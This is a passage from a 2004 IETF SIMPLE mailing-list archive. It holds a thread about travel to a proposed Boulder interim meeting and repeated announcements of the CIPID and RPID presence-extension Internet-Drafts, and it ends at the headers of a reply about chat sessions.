From: "James M. Polk" <jmpolk@cisco.com>
Cc: <sip@ietf.org>, <simple@ietf.org>
In-Reply-To: <AAB4B3D3CF0F454F98272CBE187FDE2F056B2946@is0004avexu1.glob
 al.avaya.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Subject: [Simple] RE: [Sip] RE: [Sipping] Proposed dates for SIPish interim
 meetings
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 13:10:45 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60

At 08:35 PM 3/22/2004 +0200, Romascanu, Dan (Dan) wrote:
>British Airways is another company that I am aware about, operating daily 
>flights from London, Heathrow to Denver and return.

Denver is a big United Airlines hub - they probably fly to somewhere in 
Europe as well (likely London).

Boulder is a ~ 45 minutes drive from Denver Airport (with no traffic that 
is  ;-)


>Regards,
>
>Dan
>
>
>
> > -----Original Message-----
> > From: sip-admin@ietf.org [mailto:sip-admin@ietf.org]On Behalf
> > Of Kozdon, Peter
> > Sent: 22 March, 2004 7:55 PM
> > To: 'john.loughney@nokia.com'; dean.willis@softarmor.com;
> > sipping@ietf.org
> > Cc: gparsons@nortelnetworks.com; sip@ietf.org; simple@ietf.org
> > Subject: RE: [Sip] RE: [Sipping] Proposed dates for SIPish
> > interim meetings
> >
> >
> > The closest airport is Denver International (45 minutes
> > drive)  - there is
> > at least 1 direct flight from Europe (LH via Frankfurt)
> >
> > -----Original Message-----
> > From: sip-admin@ietf.org [mailto:sip-admin@ietf.org] On Behalf Of
> > john.loughney@nokia.com
> > Sent: Sunday, March 21, 2004 10:13 PM
> > To: dean.willis@softarmor.com; sipping@ietf.org
> > Cc: gparsons@nortelnetworks.com; sip@ietf.org; simple@ietf.org
> > Subject: [Sip] RE: [Sipping] Proposed dates for SIPish
> > interim meetings
> >
> > Dean,
> >
> > > As I understand it, the leading candidate for venue is the
> > Boulderama
> > > in Boulder, Colorado. Rohan's current proposal is to ask
> > each attendee
> > > to contribute $50 toward meeting fees (princiaplly, renting
> > the room).
> > > Of course, if somebody wants to sponsor the meeting and pick up the
> >
> > Is there an option of someone hosting the meeting?  This is probably
> > easier to do than finding someone to foot the bill.
> >
> > Also, Boulder is 3 to 4 hops away from Europe, which seems
> > sub-optimal ...
> >
> > John
> >
> >
> > _______________________________________________
> > Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
> > This list is for NEW development of the core SIP Protocol Use
> > sip-implementors@cs.columbia.edu for questions on current sip Use
> > sipping@ietf.org for new developments on the application of sip
> >
> > _______________________________________________
> > Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
> > This list is for NEW development of the core SIP Protocol
> > Use sip-implementors@cs.columbia.edu for questions on current sip
> > Use sipping@ietf.org for new developments on the application of sip
> >
>
>_______________________________________________
>Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
>This list is for NEW development of the core SIP Protocol
>Use sip-implementors@cs.columbia.edu for questions on current sip
>Use sipping@ietf.org for new developments on the application of sip


cheers,
James

                                *******************
                 Truth is not to be argued... it is to be presented


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar 22 15:46:43 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19906
	for <simple-archive@ietf.org>; Mon, 22 Mar 2004 15:46:43 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5WJo-0000dk-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 15:46:44 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5WIz-0000Y0-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 15:45:54 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5WIG-0000Rw-00; Mon, 22 Mar 2004 15:45:08 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5WID-0007D6-CI; Mon, 22 Mar 2004 15:45:05 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5WHd-0007BM-LB
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 15:44:29 -0500
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19719;
	Mon, 22 Mar 2004 15:44:27 -0500 (EST)
Message-Id: <200403222044.PAA19719@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: simple@ietf.org
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: [Simple] I-D ACTION:draft-ietf-simple-cipid-01.txt
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 15:44:27 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.5 required=5.0 tests=AWL,MIME_BOUND_NEXTPART,
	NO_REAL_NAME autolearn=no version=2.60

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the SIP for Instant Messaging and Presence Leveraging Extensions Working Group of the IETF.

	Title		: CIPID: Contact Information in Presence Information Data Format
	Author(s)	: H. Schulzrinne
	Filename	: draft-ietf-simple-cipid-01.txt
	Pages		: 8
	Date		: 2004-3-22
	
The Contact Information for Presence Information Data Format (CIPID)
   adds elements to the Presence Information Data Format (PIDF) that
   provide additional contact information about a presentity and its
   contacts, including references to address book entries and icons.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-simple-cipid-01.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-simple-cipid-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-simple-cipid-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2004-3-22151411.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-simple-cipid-01.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-simple-cipid-01.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2004-3-22151411.I-D@ietf.org>

--OtherAccess--

--NextPart--



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar 22 15:46:46 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19928
	for <simple-archive@ietf.org>; Mon, 22 Mar 2004 15:46:45 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5WJq-0000e9-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 15:46:46 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5WJ0-0000YF-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 15:45:55 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5WIG-0000Rx-00; Mon, 22 Mar 2004 15:45:08 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5WIE-0007DE-5b; Mon, 22 Mar 2004 15:45:06 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5WHj-0007BR-DD
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 15:44:35 -0500
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19735;
	Mon, 22 Mar 2004 15:44:33 -0500 (EST)
Message-Id: <200403222044.PAA19735@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: simple@ietf.org
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: [Simple] I-D ACTION:draft-ietf-simple-rpid-03.txt
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 15:44:32 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.5 required=5.0 tests=AWL,MIME_BOUND_NEXTPART,
	NO_REAL_NAME autolearn=no version=2.60

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the SIP for Instant Messaging and Presence Leveraging Extensions Working Group of the IETF.

	Title		: RPID: Rich Presence: Extensions to the Presence Information Data Format (PIDF)
	Author(s)	: H. Schulzrinne, V. Gurbani, P. Kyzivat, J. Rosenberg
	Filename	: draft-ietf-simple-rpid-03.txt
	Pages		: 19
	Date		: 2004-3-22
	
The Rich Presence Information Data Format (RPID) adds elements to the
   Presence Information Data Format (PIDF) that provide additional
   information about the presentity and its contacts.  The information
   is designed so that much of it can be derived automatically, e.g.,
   from calendar files or user activity.

   This extension includes information about what the presentity is
   doing (the activity element), a grouping identifier for a tuple (the
   class element), the type of tuple (the contact-type element), whether
   a contact is idle (the idle element), the typle of place a presentity
   is in (the placetype element), whether the presentity is in a public
   or private space (the privacy element), the relationship of a tuple
   to another presentity (the relationship element), and the overall
   role of the presentity (the sphere element).

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-simple-rpid-03.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-simple-rpid-03.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-simple-rpid-03.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2004-3-22151418.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-simple-rpid-03.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-simple-rpid-03.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2004-3-22151418.I-D@ietf.org>

--OtherAccess--

--NextPart--



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar 22 15:47:16 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19959
	for <simple-archive@odin.ietf.org>; Mon, 22 Mar 2004 15:47:15 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5WJr-0007W8-Ky
	for simple-archive@odin.ietf.org; Mon, 22 Mar 2004 15:46:47 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2MKklsQ028895
	for simple-archive@odin.ietf.org; Mon, 22 Mar 2004 15:46:47 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5WJr-0007Vy-FQ
	for simple-web-archive@optimus.ietf.org; Mon, 22 Mar 2004 15:46:47 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19924
	for <simple-web-archive@ietf.org>; Mon, 22 Mar 2004 15:46:45 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5WJq-0000e2-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 15:46:46 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5WJ0-0000Y7-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 15:45:54 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5WIG-0000Rw-00; Mon, 22 Mar 2004 15:45:08 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5WID-0007D6-CI; Mon, 22 Mar 2004 15:45:05 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5WHd-0007BM-LB
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 15:44:29 -0500
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19719;
	Mon, 22 Mar 2004 15:44:27 -0500 (EST)
Message-Id: <200403222044.PAA19719@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: simple@ietf.org
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: [Simple] I-D ACTION:draft-ietf-simple-cipid-01.txt
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 15:44:27 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.5 required=5.0 tests=AWL,MIME_BOUND_NEXTPART,
	NO_REAL_NAME autolearn=no version=2.60

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the SIP for Instant Messaging and Presence Leveraging Extensions Working Group of the IETF.

	Title		: CIPID: Contact Information in Presence Information Data Format
	Author(s)	: H. Schulzrinne
	Filename	: draft-ietf-simple-cipid-01.txt
	Pages		: 8
	Date		: 2004-3-22
	
The Contact Information for Presence Information Data Format (CIPID)
   adds elements to the Presence Information Data Format (PIDF) that
   provide additional contact information about a presentity and its
   contacts, including references to address book entries and icons.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-simple-cipid-01.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-simple-cipid-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-simple-cipid-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2004-3-22151411.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-simple-cipid-01.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-simple-cipid-01.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2004-3-22151411.I-D@ietf.org>

--OtherAccess--

--NextPart--



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Mon Mar 22 15:47:17 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19976
	for <simple-archive@odin.ietf.org>; Mon, 22 Mar 2004 15:47:17 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5WJs-0007WV-Oh
	for simple-archive@odin.ietf.org; Mon, 22 Mar 2004 15:46:48 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2MKkmOV028913
	for simple-archive@odin.ietf.org; Mon, 22 Mar 2004 15:46:48 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5WJs-0007WG-LP
	for simple-web-archive@optimus.ietf.org; Mon, 22 Mar 2004 15:46:48 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19943
	for <simple-web-archive@ietf.org>; Mon, 22 Mar 2004 15:46:46 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5WJr-0000eF-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 15:46:47 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5WJ1-0000YN-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 15:45:56 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5WIG-0000Rx-00; Mon, 22 Mar 2004 15:45:08 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5WIE-0007DE-5b; Mon, 22 Mar 2004 15:45:06 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5WHj-0007BR-DD
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 15:44:35 -0500
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19735;
	Mon, 22 Mar 2004 15:44:33 -0500 (EST)
Message-Id: <200403222044.PAA19735@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: simple@ietf.org
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: [Simple] I-D ACTION:draft-ietf-simple-rpid-03.txt
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 15:44:32 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.5 required=5.0 tests=AWL,MIME_BOUND_NEXTPART,
	NO_REAL_NAME autolearn=no version=2.60

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the SIP for Instant Messaging and Presence Leveraging Extensions Working Group of the IETF.

	Title		: RPID: Rich Presence: Extensions to the Presence Information Data Format (PIDF)
	Author(s)	: H. Schulzrinne, V. Gurbani, P. Kyzivat, J. Rosenberg
	Filename	: draft-ietf-simple-rpid-03.txt
	Pages		: 19
	Date		: 2004-3-22
	
The Rich Presence Information Data Format (RPID) adds elements to the
   Presence Information Data Format (PIDF) that provide additional
   information about the presentity and its contacts.  The information
   is designed so that much of it can be derived automatically, e.g.,
   from calendar files or user activity.

   This extension includes information about what the presentity is
   doing (the activity element), a grouping identifier for a tuple (the
   class element), the type of tuple (the contact-type element), whether
   a contact is idle (the idle element), the typle of place a presentity
   is in (the placetype element), whether the presentity is in a public
   or private space (the privacy element), the relationship of a tuple
   to another presentity (the relationship element), and the overall
   role of the presentity (the sphere element).

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-simple-rpid-03.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-simple-rpid-03.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-simple-rpid-03.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2004-3-22151418.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-simple-rpid-03.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-simple-rpid-03.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2004-3-22151418.I-D@ietf.org>

--OtherAccess--

--NextPart--



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar 22 16:39:38 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA26277
	for <simple-archive@ietf.org>; Mon, 22 Mar 2004 16:39:38 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5X91-0002R0-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 16:39:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5X81-0002CX-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 16:38:38 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5X6Y-0001sD-00; Mon, 22 Mar 2004 16:37:06 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1B5X6Y-0000Kv-Tn; Mon, 22 Mar 2004 16:37:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5X6T-0003l8-LP; Mon, 22 Mar 2004 16:37:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5X5X-0003ft-UG
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 16:36:04 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA25873
	for <simple@ietf.org>; Mon, 22 Mar 2004 16:36:01 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5X5V-0001f5-00
	for simple@ietf.org; Mon, 22 Mar 2004 16:36:01 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5X4J-0001Wc-00
	for simple@ietf.org; Mon, 22 Mar 2004 16:34:48 -0500
Received: from [195.7.64.137] (helo=mail3.pi.se ident=root)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5X3o-0001R7-00; Mon, 22 Mar 2004 16:34:17 -0500
Received: from vit (h53n2fls31o265.telia.com [217.208.189.53])
	(authenticated (0 bits))
	by mail3.pi.se (8.12.10/8.11.2) with ESMTP id i2MLVfLX029511;
	Mon, 22 Mar 2004 22:31:43 +0100 (CET)
From: "Gunnar Hellstrom" <gunnar.hellstrom@omnitor.se>
To: "XCON" <xcon@ietf.org>, "SIMPLE" <simple@ietf.org>,
        "Alan Johnston" <alan.johnston@mci.com>,
        "Rosen, Brian" <Brian.Rosen@marconi.com>,
        "'Paul Kyzivat'" <pkyzivat@cisco.com>,
        "Niemi Aki \(Nokia-M/Espoo\)" <aki.niemi@nokia.com>
Subject: RE: [Simple] RE: Chat sessions
